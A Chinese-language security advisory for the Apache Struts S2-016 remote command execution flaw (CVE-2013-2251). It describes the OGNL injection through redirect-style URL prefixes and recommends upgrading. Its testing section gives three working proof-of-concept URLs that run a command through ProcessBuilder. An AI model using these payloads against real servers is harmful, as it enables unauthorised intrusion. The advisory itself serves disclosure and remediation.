Apache Struts多个前缀参数远程命令执行漏洞(CVE-2013-2251)
发布日期:2013-07-16
更新日期:2013-07-17
受影响系统:
Apache Group Struts < 2.3.15.1
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 61189
CVE(CAN) ID: CVE-2013-2251
Struts2 是第二代基于Model-View-Controller (MVC)模型的java企业级web应用框架。它是WebWork和Struts社区合并后的产物。
Apache Struts2的action:、redirect:和redirectAction:前缀参数在实现其功能的过程中使用了Ognl表达式,并将用户通过URL提交的内容拼接入Ognl表达式中,从而造成攻击者可以通过构造恶意URL来执行任意Java代码,进而可执行任意命令。
redirect:和redirectAction:此两项前缀为Struts默认开启功能,目前Struts 2.3.15.1以下版本均存在此漏洞。
<*来源:Takeshi Terada (Mitsui Bussan Secure Directions, Inc)
链接:http://struts.apache.org/release/2.3.x/docs/s2-016.html
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
建议:
--------------------------------------------------------------------------------
厂商补丁:
Apache Group
------------
厂商已经发布Apache Struts 2.3.15.1以修复此安全漏洞,建议Struts用户及时升级到最新版本。
厂商安全公告:S2-016
链接:http://struts.apache.org/release/2.3.x/docs/s2-016.html